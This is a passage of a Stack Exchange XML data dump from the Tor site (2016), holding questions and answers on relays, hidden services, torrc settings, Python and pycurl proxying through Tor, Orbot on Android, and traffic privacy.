1]&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;The Rendezvous point forwards Bob's confirmation to Alice's OP.&#xA;  [Rendezvous 2]&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Alice's OP sends begin cells to Bob's OP.  [Connection]&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A .onion service can be accessed not only using IPV4, but also IPV6, or IPV4 in some parts of the tor circuit, and IPV6 in the others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When accessing a tor hidden service, tor is responsible for the domain name and port number, the rest of the URL is handled by the application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Alice wants to access Bob's tor hidden service, the OP Alice uses is responsible for mapping a .onion address to an introductory point. The introductory point is responsible for relaying the message that Alice wants to access Bob's hidden service to Bob.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bob's public key is RSA. There are also symmetric encryption that uses AES in counter mode.&lt;/p&gt;&#xA;" OwnerUserId="12198" LastActivityDate="2016-04-02T05:42:20.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10027" PostTypeId="2" ParentId="10021" CreationDate="2016-04-02T13:03:37.777" Score="0" Body="&lt;p&gt;No, you should not - you can't add any &quot;overhead&quot; by staying online. A hint : make it a non-exit relay, forward a port and make two lines appear in your torrc :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ClientOnly 0&#xA;ORPort 443&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will improve your Tor experience &lt;em&gt;greatly&lt;/em&gt;, by the way - it will be a way faster. I just picked port 443, you can pick another one. If you need help doing that - just say it, I'd like to help!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-04-02T13:03:37.777" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10028" PostTypeId="2" ParentId="10021" CreationDate="2016-04-02T13:16:05.020" Score="1" Body="&lt;p&gt;For the Tor network, it is fine to leave your Tor Browser open when you're not using it. Tor will occasionally build a few circuits, but only relatively few, and after a bit it will stop doing even that until it receives a request from your browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing it will keep fetching every few hours is new information about the available relays. So if a couple of megabytes extra are an issue for you because your internet connection is slow or you have a data cap for mobile, you should turn it off if you won't use it for a few hours.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2016-04-02T13:16:05.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10029" PostTypeId="2" ParentId="10022" CreationDate="2016-04-02T13:19:34.427" Score="1" Body="&lt;p&gt;Tor Browser does not keep an on-disk log by default. Instead, you can get the log from the Browser. Click on the green onion, Tor Network Settings, and then on the bottom there's a button to copy the log to your clipboard.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2016-04-02T13:19:34.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10030" PostTypeId="2" ParentId="10017" CreationDate="2016-04-02T13:56:36.347" Score="0" Body="&lt;p&gt;For resume :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1 - is Tor changing an .onion url for an Ipv4 address in the middle between&#xA;  the 3 client's node and the 3 server's node? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, the whole idea of the HS(Hidden Service) - that it's &lt;em&gt;hidden&lt;/em&gt; =) No translation to IPv4 or IPv6 address is &lt;strong&gt;ever&lt;/strong&gt; performed. The path of HS request is &lt;strong&gt;never&lt;/strong&gt; walking a clearnet, it's Client-&gt;RendezVouz point-&gt;HSServer, all inside Tor multi-layered network. Even a HS descriptors that are identifying a HS'es in &lt;strong&gt;HSDir&lt;/strong&gt;-relays(Hidden Service Directories) the descriptor does &lt;strong&gt;not&lt;/strong&gt; contain an IP address, but the onion hash id of the server.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2 - Is the exit nodes on server side making the request with an IPv4 address?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, via IPv4 or IPv6 address correspondingly : that's why they are called an &lt;em&gt;Exit Nodes&lt;/em&gt;/&lt;em&gt;Exits&lt;/em&gt;/&lt;em&gt;Exit relays&lt;/em&gt; - they can allow a packet to exit from onion-based routing to the IP-based routing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's it!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-04-02T13:56:36.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10031" PostTypeId="2" ParentId="10023" CreationDate="2016-04-02T14:26:10.063" Score="0" Body="&lt;p&gt;Indeed it is, like these:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Client SSL certificates for personalized accounting&lt;/li&gt;&#xA;&lt;li&gt;Enforcing of strong crypto : by the tor protocol specs a cipherset is negotiated, and can be not a stron one. But regardless of the transporting onion crypto - a strong 256-bit AES can be enforced during HTTPS handshake&lt;/li&gt;&#xA;&lt;li&gt;Server authenticity verification: if the Tor HS keys are hijacked, it &lt;strong&gt;does not mean that the HTTPS keys are stolen too&lt;/strong&gt;. Even if they are on the same server.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-04-02T14:26:10.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10032" PostTypeId="1" CreationDate="2016-04-02T15:24:26.983" Score="8" ViewCount="10328" Body="&lt;p&gt;If the person downloads the Tor Browser and uses it to surf the Internet, is this person also automatically running a Tor exit node or a Tor relay? Or other nodes? &lt;/p&gt;&#xA;" OwnerUserId="12294" LastEditorUserId="88" LastEditDate="2016-05-02T20:27:53.150" LastActivityDate="2016-05-02T20:34:56.717" Title="Does running the Tor browser turn me into a (exit) relay?" Tags="|tor-browser-bundle|configuration|exit-relays|" AnswerCount="3" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10033" PostTypeId="2" ParentId="10032" CreationDate="2016-04-02T17:14:00.907" Score="-1" Body="&lt;p&gt;Neither of them! =) The default is to use a &lt;code&gt;ClientOnly 1&lt;/code&gt; i.e. be &lt;em&gt;just a client&lt;/em&gt; to Tor network. But it's recommended to become Tor-relay node - it will boost your browsing speed like hell! Make an open external port, better try starting with 443, specify it in &lt;code&gt;ORPort 443&lt;/code&gt; - and change &lt;code&gt;ClientOnly 0&lt;/code&gt; in your &lt;code&gt;torrc&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-04-02T17:14:00.907" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10034" PostTypeId="2" ParentId="6744" CreationDate="2016-04-02T17:34:52.093" Score="0" Body="&lt;p&gt;Because being confident and anonymous online &lt;a href=&quot;http://motherboard.vice.com/read/united-nations-encryption-and-online-anonymity-are-basic-human-rights&quot; rel=&quot;nofollow&quot;&gt;is a basic international human right&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-04-02T17:34:52.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10035" PostTypeId="1" AcceptedAnswerId="10038" CreationDate="2016-04-02T18:05:46.983" Score="2" ViewCount="1006" Body="&lt;p&gt;I'm looking for up-to-date information on Tor encryption standards, and I can't seem to find anything newer than 2013.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/9447/what-encryption-algorithms-does-tor-use&quot;&gt;What encryption algorithms does Tor use?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/760/what-is-the-reasoning-behind-keeping-hidden-service-onion-rsa-keys-at-1024-lengt?rq=1&quot;&gt;What is the reasoning behind keeping hidden service onion RSA keys at 1024 length?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/3371/hidden-onion-service-with-2048-bit-or-4096-bit-rsa-private-key-how-to-host&quot;&gt;Hidden .onion service with 2048 bit (or 4096 bit) RSA private key -- how to host it?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything I've been able to find links back to a proposal to move to Ed25519 keys: &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-dev/2013-August/005259.html&quot; rel=&quot;nofollow&quot;&gt;https://lists.torproject.org/pipermail/tor-dev/2013-August/005259.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Poking around in my own Tor relay, I found a master public and master secret ed25519 key, along with a signing cert and signing secret key. However, there's also a secret_id_key and a couple of secret_onion* keys that are RSA private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Tor 2.7 use Ed25519, or 1024-bit RSA? Why are there 2 kinds of keys? How secure is Ed25519 compared to 1024-bit or 2048-bit RSA?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tristan&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2017-08-31T05:10:52.860" Title="Tor Encryption Standards" Tags="|onion-services|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10036" PostTypeId="1" CreationDate="2016-04-02T18:47:16.147" Score="4" ViewCount="3270" Body="&lt;p&gt;I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;with Controller.from_port(port = 9151) as controller:&#xA;&#xA;                    controller.authenticate()&#xA;                    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, &quot;127.0.0.1&quot;, 9150)&#xA;                    socket.socket = socks.socksocket&#xA;                    controller.signal(Signal.NEWNYM)&#xA;&#xA;&#xA;                    url= &quot;https://www.example.com&quot;&#xA;&#xA;                    browser = mechanize.Browser()&#xA;&#xA;                    text = browser.open(url).read()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I run it I get the following lengthy traceback:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;      File &quot;C:\Users\HOJU\Desktop\edp\gog.py&quot;, line 168, in &amp;lt;module&amp;gt;&#xA;        main()&#xA;      File &quot;C:\Users\HOJU\Desktop\edp\gog.py&quot;, line 101, in main&#xA;        text = browser.open(url).read()&#xA;      File &quot;C:\Python27\lib\site-packages\mechanize\_mechanize.py&quot;, line 203, in      ope&#xA;    n&#xA;    return self._mech_open(url, data, timeout=timeout)&#xA;  File &quot;C:\Python27\lib\site-packages\mechanize\_mechanize.py&quot;, line 230, in _me&#xA;ch_open&#xA;    response = UserAgentBase.open(self, request, data)&#xA;  File &quot;C:\Python27\lib\site-packages\mechanize\_opener.py&quot;, line 193, in open&#xA;    response = urlopen(self, req, data)&#xA;  File &quot;C:\Python27\lib\site-packages\mechanize\_urllib2_fork.py&quot;, line 344, in&#xA;_open&#xA;    '_open', req)&#xA;  File &quot;C:\Python27\lib\site-packages\mechanize\_urllib2_fork.py&quot;, line 332, in&#xA;_call_chain&#xA;    result = func(*args)&#xA;  File &quot;C:\Python27\lib\site-packages\mechanize\_urllib2_fork.py&quot;, line 1170, in&#xA; https_open&#xA;    return self.do_open(conn_factory, req)&#xA;  File &quot;C:\Python27\lib\site-packages\mechanize\_urllib2_fork.py&quot;, line 1115, in&#xA; do_open&#xA;    h.request(req.get_method(), req.get_selector(), req.data, headers)&#xA;  File &quot;C:\Python27\lib\httplib.py&quot;, line 946, in request&#xA;    self._send_request(method, url, body, headers)&#xA;  File &quot;C:\Python27\lib\httplib.py&quot;, line 987, in _send_request&#xA;    self.endheaders(body)&#xA;  File &quot;C:\Python27\lib\httplib.py&quot;, line 940, in endheaders&#xA;    self._send_output(message_body)&#xA;  File &quot;C:\Python27\lib\httplib.py&quot;, line 803, in _send_output&#xA;    self.send(msg)&#xA;  File &quot;C:\Python27\lib\httplib.py&quot;, line 755, in send&#xA;    self.connect()&#xA;  File &quot;C:\Python27\lib\httplib.py&quot;, line 1152, in connect&#xA;    self.timeout, self.source_address)&#xA;  File &quot;C:\Users\HOJU\Desktop\edp\gog.py&quot;, line 32, in create_connection&#xA;    sock.connect(address)&#xA;  File &quot;C:\Python27\lib\site-packages\socks.py&quot;, line 392, in connect&#xA;    self.__negotiatesocks5(destpair[0],destpair[1])&#xA;  File &quot;C:\Python27\lib\site-packages\socks.py&quot;, line 199, in __negotiatesocks5&#xA;    self.sendall(&quot;\x05\x01\x00&quot;)&#xA;  File &quot;C:\Python27\lib\site-packages\socks.py&quot;, line 165, in sendall&#xA;    socket.socket.sendall(self, bytes)&#xA;  File &quot;C:\Python27\lib\site-packages\socks.py&quot;, line 165, in sendall&#xA;    socket.socket.sendall(self, bytes)&#xA;  File &quot;C:\Python27\lib\site-packages\socks.py&quot;, line 165, in sendall&#xA;    socket.socket.sendall(self, bytes)                     &#xA;  File &quot;C:\Python27\lib\site-packages\socks.py&quot;, line 165, in sendall&#xA;    socket.socket.sendall(self, bytes)&#xA;  File &quot;C:\Python27\lib\site-packages\socks.py&quot;, line 165, in sendall&#xA;    socket.socket.sendall(self, bytes)&#xA;  File &quot;C:\Python27\lib\site-packages\socks.py&quot;, line 165, in sendall&#xA;    socket.socket.sendall(self, bytes)&#xA;  File &quot;C:\Python27\lib\site-packages\socks.py&quot;, line 163, in sendall&#xA;    if 'encode' in dir(bytes):&#xA;RuntimeError: maximum recursion depth exceeded while calling a Python object&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="12341" LastEditorUserId="320" LastEditDate="2016-04-07T21:38:11.300" LastActivityDate="2018-02-20T10:18:57.527" Title="Using Tor to make HTTPS requests in Python" Tags="|python|https|stem|url|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10037" PostTypeId="2" ParentId="10036" CreationDate="2016-04-02T19:00:33.407" Score="1" Body="&lt;p&gt;Here are your &lt;a href=&quot;http://pycurl.io/docs/latest/quickstart.html#setting-options&quot; rel=&quot;nofollow&quot;&gt;pyCURL&lt;/a&gt; and a &lt;a href=&quot;http://tech.michaelaltfield.net/2015/02/22/pycurl-through-tor-without-leaking-dns-lookups/&quot; rel=&quot;nofollow&quot;&gt;howto&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Copy-pasting by request - copyright to code to sources mentioned upstrings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;amnesia@amnesia: ~$ cat checkTor.py&#xA;#!/usr/bin/env python&#xA;&#xA;import pycurl&#xA;&#xA;curl = pycurl.Curl()&#xA;curl.setopt( pycurl.URL, 'https://check.torproject.org/' )&#xA;curl.setopt( pycurl.PROXY, '127.0.0.1' )&#xA;curl.setopt( pycurl.PROXYPORT, 9050 )&#xA;curl.setopt( pycurl.PROXYTYPE, pycurl.PROXYTYPE_SOCKS5_HOSTNAME )&#xA;&#xA;curl.perform()&#xA;amnesia@amnesia: ~$ time ./checkTor.py&#xA;&amp;lt;!doctype html&amp;gt;&#xA;...&#xA;Congratulations. This browser is configured to use Tor.&#xA;...&#xA;real 0m2.487s&#xA;user 0m0.060s&#xA;sys 0m0.000s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That is your HTTPS request via Tor, no DNS leaks. Your STEM request &lt;strong&gt;must not use proxy&lt;/strong&gt; - Tor does not allow LAN IP's through SOCKS, and it's correct. You must not use any proxies &lt;em&gt;sending signal NEWNYM&lt;/em&gt;. To capture HTML output use cURL options like RETURN_TRANSFER - see docs to fit your needs&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2016-04-03T13:35:05.493" LastActivityDate="2016-04-03T13:35:05.493" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10038" PostTypeId="2" ParentId="10035" CreationDate="2016-04-02T21:20:43.173" Score="1" Body="&lt;p&gt;The two keys are not for substituting each other, but to make &quot;an authenticating pair&quot;, unique for every relay. 1024-bit-&lt;strong&gt;only&lt;/strong&gt; RSA is an anachronism, I hope higher lengths will be added ASAP in the light of quantum computing era &lt;em&gt;actual&lt;/em&gt; start and first really working application that are working/starting-to-work nowdays. &lt;em&gt;I wonder what are they trying to crack ;)&lt;/em&gt; A different algos for different keys is a good approach, actually - it's harder to crack multiple algos than one. If even RSA1024 will be owned, ed25519 will still be a problem for an attacker. A good &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt&quot; rel=&quot;nofollow&quot;&gt;crypto-related spec&lt;/a&gt; is an official one, so take some time and read it throughfully - I myself was misunderstanding it after a first quick reading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About comparisions : RSA vs EC is well-compared subject, I leave to a mathematical Googling about it : too broad to just point to some pieces of research not mentioning another ones. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feel free to ask further questions - I'm glad to help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're welcome,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alexey&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-04-02T21:20:43.173" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10040" PostTypeId="1" CreationDate="2016-04-03T02:57:29.580" Score="2" ViewCount="988" Body="&lt;p&gt;I am running the command-line tor client on OS X 10.10 and I have a short script that routes all my WiFi network connections through the SOCKS proxy where tor is listening (127.0.0.1:9050)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INTERFACE=Wi-Fi&#xA;sudo networksetup -setsocksfirewallproxy $INTERFACE 127.0.0.1 9050 off&#xA;sudo networksetup -setsocksfirewallproxystate $INTERFACE on&#xA;tor -f ~/bridge.single&#xA;sudo networksetup -setsocksfirewallproxystate $INTERFACE off&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here &lt;code&gt;bridge.single&lt;/code&gt; is a very basic torr config file that specifies a bridge relay to connect to and the Socks and Control ports for the tor client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run this all my browser traffic goes through tor - e.g., Chrome - which I verify by going to check.torproject.org. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, I am using a separate desktop app that also makes an internet connection and the tor client spits out the error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[warn] Rejecting SOCKS request for anonymous connection to private address [scrubbed]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and my other application doesn't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how I can fix this? I tried changing the tor Socks port to 9052 but it didn't help and playing with some of the &lt;code&gt;ExitRelay&lt;/code&gt; configuration parameters &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; but it didn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why would Chrome's requests and responses have no problem connecting but this other application gets blocked by the tor client?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have access to any &quot;network&quot; settings on this other application but I didn't do anything special on Chrome - I just route my WiFi traffic through tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Various questions here didn't help. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I tried the following: connect a second computer to ethernet and run the tor client there (and route all its ethernet traffic through tor). Then I shared this second computers connection over AirPort and connected my computer to it. The second computer has a tor IP through its browser but my computer STILL shows local IP while browsing through second computers connection!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="9457" LastActivityDate="2016-04-03T13:38:50.970" Title="Allow command-line tor client to accept anonymous connection from private address" Tags="|configuration|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10041" PostTypeId="1" CreationDate="2016-04-03T08:10:36.473" Score="1" ViewCount="819" Body="&lt;p&gt;I use my Verizon wireless phone and a third party app to tether to my home network. When I use tor browser on my pc can Verizon see or read the Web traffic? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I have it set up is, I use my third party app to tether, via USB, my phone to a raspberry pi which acts as a wireless router for my home network, then I connect to the wireless network on my pc and run tor browser on the pc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if I went to, let's say facebook.com, while running tor browser could Verizon wireless (or anybody else) see and read any Web traffic? Also, if I went to, let's say blahblah.onion, could they see and read any traffic? As well, can the destination website tell where the connection originates from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just curious how anonymous using tor browser truly makes me when using my Verizon wireless connection. I assume Verizon keeps a record of data transmitted, but can they or anybody else see where I'm connecting to and can the destination tell where I'm connecting from when using tor browser on my pc, in the network configuration I have set up? &lt;/p&gt;&#xA;" OwnerUserId="12347" LastActivityDate="2016-04-03T14:10:04.060" Title="can Verizon wireless see Web traffic when I'm tethering to my pc which is running tor browser?" Tags="|anonymity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10042" PostTypeId="2" ParentId="10040" CreationDate="2016-04-03T13:38:50.970" Score="3" Body="&lt;p&gt;It seems that you're hitting the Tor built-in protection against requests &lt;strong&gt;to private LAN addresses&lt;/strong&gt; through SOCKS proxy backend. Try using redsocks or something like it, but revise your config first : you're defenately routing LAN through Tor. Post your configs and scripts here, so I'll be able to help you further.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-04-03T13:38:50.970" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10043" PostTypeId="2" ParentId="10041" CreationDate="2016-04-03T14:10:04.060" Score="1" Body="&lt;p&gt;Tor is designed so that only you and the server you're connecting to can see you information, it doesn't matter how you are connected. The only thing Verizon Wireless will see is a bunch of encrypted data being sent to a Tor guard relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The destination website can only tell where the connection came from, but not necessarily where it originated. The website will just see data coming from a Tor exit relay, and the exit relay itself can only be tracked back to a middle relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the original internet traffic is NOT encrypted (e.g. using unsecured HTTP websites) then there is a chance that 3rd parties can interfere with it, but they will still only be able to trace it back to the exit relay.&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-04-03T14:10:04.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10045" PostTypeId="1" CreationDate="2016-04-03T20:20:12.407" Score="1" ViewCount="155" Body="&lt;p&gt;Given that many users will come out of the same exit node for any given site, do sessions still for for onion websites?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie. Will the people that come out of the same exit node be all logged in as the same user when they visit the site?&lt;/p&gt;&#xA;" OwnerUserId="10202" LastActivityDate="2018-04-13T03:27:42.610" Title="Do sessions still work for onion websites?" Tags="|onion-services|onion-routing|server-administration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10046" PostTypeId="1" CreationDate="2016-04-03T21:12:42.067" Score="0" ViewCount="468" Body="&lt;p&gt;I just downloaded  &lt;a href=&quot;https://play.google.com/store/apps/details?id=onion.fire&amp;amp;hl=en&quot; rel=&quot;nofollow&quot;&gt;Fire.onion&lt;/a&gt;+tor from google play.  Will this be acceptable or should I download  tor  alone,  and can I download  it on my android  lollipop tablet?  Thank you&lt;/p&gt;&#xA;" OwnerUserId="12357" LastEditorUserId="88" LastEditDate="2016-04-04T07:31:35.327" LastActivityDate="2016-04-04T07:31:35.327" Title="tor and android" Tags="|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10047" PostTypeId="1" CreationDate="2016-04-03T21:52:07.617" Score="1" ViewCount="2187" Body="&lt;p&gt;I am using Orbot 15.1.2 on an Android 5.0.2 LRX22G device. Orbot shuts down for no reason, when I go to the big button then it starts connecting again. I have checked the allow background starts option, and the no network auto-sleep is off. Any idea what could be happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="12359" LastEditorUserId="88" LastEditDate="2016-04-05T07:24:03.873" LastActivityDate="2017-05-16T23:22:41.593" Title="Orbot disconnects randomly" Tags="|orbot|android|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10048" PostTypeId="2" ParentId="10046" CreationDate="2016-04-04T01:34:53.907" Score="2" Body="&lt;p&gt;It's recommended to only use the official apps to connect to Tor. If you use a 3rd-party app, nobody can guarantee that it isn't leaking traffic. And if you don't use the official Tor browser, it's easier to track through browser fingerprinting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download Orbot for Android here: &lt;a href=&quot;https://play.google.com/store/apps/details?id=org.torproject.android&quot; rel=&quot;nofollow&quot;&gt;https://play.google.com/store/apps/details?id=org.torproject.android&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And use the Orfox browser with it: &lt;a href=&quot;https://play.google.com/store/apps/details?id=info.guardianproject.orfox&quot; rel=&quot;nofollow&quot;&gt;https://play.google.com/store/apps/details?id=info.guardianproject.orfox&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use Tor, just open Orbot, long press on the Onion logo to connect, and use the Orfox browser. If you're on a rooted device, you can use transparent proxying to route other apps through Tor, or you can try the experimental VPN feature.&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-04-04T01:34:53.907" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10049" PostTypeId="2" ParentId="10045" CreationDate="2016-04-04T01:37:14.937" Score="3" Body="&lt;p&gt;Yes, sessions still work, and no, users won't be logged in all the same. Website sessions are stored client-side, so every client will have a unique session.&lt;/p&gt;&#xA;" OwnerUserId="12240" LastEditorUserId="3792" LastEditDate="2018-04-13T03:27:42.610" LastActivityDate="2018-04-13T03:27:42.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10050" PostTypeId="1" CreationDate="2016-04-04T01:45:38.410" Score="1" ViewCount="211" Body="&lt;p&gt;My boss intercepts all traffic in the corporate network, including HTTPS (by making computers trust the company certificate). Is it still safe to use Tor in those conditions?&lt;/p&gt;&#xA;" OwnerUserId="12360" LastEditorUserId="88" LastEditDate="2016-04-05T07:22:19.147" LastActivityDate="2016-04-05T07:22:19.147" Title="Is Tor still safe to use if my boss intercepts HTTPS?" Tags="|https|ssl|surveillance|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10051" PostTypeId="2" ParentId="4009" CreationDate="2016-04-04T01:50:55.367" Score="1" Body="&lt;p&gt;I believe what you're looking for is near the bottom of the settings screen in Orbot. There is a section for &quot;Outbound network Proxy (Optional)&quot; that lets you set an HTTP, HTTPS, Socks4, or Socks5 proxy.&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-04-04T01:50:55.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10052" PostTypeId="2" ParentId="10050" CreationDate="2016-04-04T01:54:37.887" Score="1" Body="&lt;p&gt;Define safe. If you're worried about your boss being able to see what you're doing in Tor, then yes, Tor will be safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your Tor traffic will still be intercepted by your boss, but since the connection from you to the Tor network is triple-encrypted, your boss will only see a bunch of encrypted data going from you to whichever guard relay you're connected to.&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-04-04T01:54:37.887" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10053" PostTypeId="1" CreationDate="2016-04-04T02:48:07.173" Score="1" ViewCount="25" Body="&lt;p&gt;I am trying to run a Tor experiment using PlanetLab machines. However, I need to update OpenSSL to a version 1.0.0 or higher to install a recent version of Tor (2.7.5).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is even when I do this, Tor still finds the system's OpenSSL version of 0.9.8b.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is analogous to the following &lt;a href=&quot;http://lists.planet-lab.org/pipermail/users/2013-November/004305.html&quot; rel=&quot;nofollow&quot;&gt;http://lists.planet-lab.org/pipermail/users/2013-November/004305.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The end goal is to run pluggable transports such as ScrambleSuit, obfs4, and meek on the PlanetLab machines)&lt;/p&gt;&#xA;" OwnerUserId="12361" LastActivityDate="2016-04-04T02:48:07.173" Title="Updating OpenSSL on PlanetLab for Tor 2.7.5" Tags="|pluggable-transports|" AnswerCount="0" CommentCount="0" ClosedDate="2017-04-21T20:56:12.213" ContentLicense="CC BY-SA 3.0" />
